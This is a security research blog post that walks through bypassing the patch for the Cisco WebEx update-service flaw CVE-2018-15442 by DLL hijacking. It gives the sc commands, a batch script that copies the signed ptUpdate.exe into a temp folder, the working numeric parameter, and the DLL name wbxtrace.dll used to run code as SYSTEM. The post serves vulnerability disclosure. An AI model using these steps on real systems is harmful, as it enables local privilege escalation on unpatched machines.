Bypassing CVE-2018-15442: Another case of DLL Hijacking

November 27, 2018
logo-CVE-2018-15442

As an exploit writer, one of my tasks consists of gathering common vulnerabilities and exposures (CVE) and all of the information related to them in order to design an exploit for Core Impact. As part of this process I stumbled across CVE-2018-15422: A vulnerability in the update service of Cisco WebEx Meetings Desktop App for Windows. 
 
Ron Bowes and Jeff McJunkin from Counter Hack discovered this vulnerability and named it: WebExec
 
If you take a look at the blog post that Ron wrote, you'll find the details of the vulnerability, and find the msf modules to exploit the vulnerability locally and remotely. 
 
What caught my attention was the fact that the patch for the vulnerability, consisted of forcing the service to only run files that are signed by WebEx. As the blog post states, this is bad news, since there are many signed binaries by WebEx; including the service binary itself. 

For example, the following Powershell script (ListSignedBinaries.ps1) will enumerate all the signed binaries by WebEx, for the current version, in the default installation directory (%ProgramFiles%): 



if ([Environment]::Is64BitOperatingSystem){     


    $apppath = ${env:ProgramFiles(x86)} 


} else {     


    $apppath = ${env:ProgramFiles} 


} 


$apppath = Join-Path -Path $apppath -ChildPath "Webex" 


Get-ChildItem -Path $apppath -Filter *.exe -Recurse -File -Name| ForEach-Object {


     $fullpath = Join-Path -Path $apppath -ChildPath $_     


     $signed = $(get-AuthenticodeSignature $fullpath).SignerCertificate.Subject     


     if ($signed.contains("WebEx")){         


         $ret = $fullpath + " =>> " + $signed         


         echo $ret     


     } 


}


b

After reading this information, the first thing that came to my mind was DLL hijacking. If the service only runs signed binaries by WebEx, then I might be able to find a binary capable of loading a malicious DLL.The easiest way to do that is by moving the signed binary to another directory in order to force the loading of our DLL. 
 
I decided to test the patch. After reading the advisory provided by Cisco –  which stated that the fixed version was 33.5.6 –  I discovered this wasn't quite accurate, since the installer for version 33.5.1.7 was not vulnerable to the attack. That made version 33.4.5.5 the last version vulnerable to CVE-2018-15442. 
 
So, I downloaded version 33.6.2.16 (which was the latest version at the time) and tried my idea to bypass the patch. 

To do this, I launched a Windows 10 x86-64 VM, with the latest version installed, Process Explorer and Process Monitor running (and logging only File System Activity) and tried the known attack in the console: 



sc start webexservice install software-update 1 "C:\Windows\System32\notepad.exe"


Of course, no notepad with SYSTEM privileges was executed, since this version is patched. But, after checking the Process Monitor's log, I saw something strange:

d

The service binary (WebExService.exe) was trying to open the file "C:\Windows\SysWOW64\notepad.exe\ptupdate.exe." I tried the attack again, this time using the following command: 



sc start webexservice install software-update 1 "C:\Windows\System32\"


This resulted in the following: 

f

The service tried to add "\ptupdate.exe" to the passed argument path. That meant that the binary file passed to the service needed to be signed and needed to be named "ptupdate.exe"
 
To confirm, I tried:



sc start webexservice install software-update 1 "C:\Windows\System32"


and the result was: 

h

That's it. Now I needed to find a binary that could be used to perform our attack. The first thing I searched was the binary whose name was appended to our path: ptupdate.exe. I found it in "C:\Program Files(x86)\Webex\Webex\Applications\ptUpdate.exe" 
 
So I wrote a little batch script as follows: 



mkdir %tmp%\hijack 


cd %tmp%\hijack 


copy "%ProgramFiles(x86)%\Webex\Webex\Applications\ptUpdate.exe" . 


Again, I tested the service by executing: 



sc start webexservice install software-update 1 "C:\Users\McFly\AppData\Local\Temp\hijack"


Note that we could not use environment variables in the path parameter passed to the service. 
 
And the signed binary was found:

k

But it was not yet executed. 
 
After reviewing Ron's blogpost, I noticed his statement about the numeric parameter. He stated that the only number that would work in the third parameter was the number 1. But he didn't know why or what the number meant. As he used trial and error to "be lucky," I decided to do the same by performing a quick test: 



sc start webexservice install software-update 2 "C:\Users\McFly\AppData\Local\Temp\hijack"


Process Monitor showed the following:

m

The outcome was that the signed binary executed! We also got lucky and the number 2 worked. Later, I found out that number 1 works with the previous version (33.6.0.655), so it was important to try with both numbers. 
Now it was time to perform our DLL hijacking. 
 
I created a small i386 DLL in ASM that executed notepad.exe on load. After looking in Process Monitor's log for "NAME NOT FOUND" for DLL files in our controlled path, I chose the name wbxtrace.dll:

n

After naming our DLL as wbxtrace.dll, I placed it into our controlled folder and executed it again for an attack. Consequently, I got: 

o

Our notepad.exe running as SYSTEM bypassed the patch. 

You can read our full advisory here 

I want to thank Adrian Manrique for giving me the chance to make this blog post. 

@MCKSysAr

  • Latest from CoreLabs

Ready for a Demo?

Eliminate identity-related breaches with SecureAuth!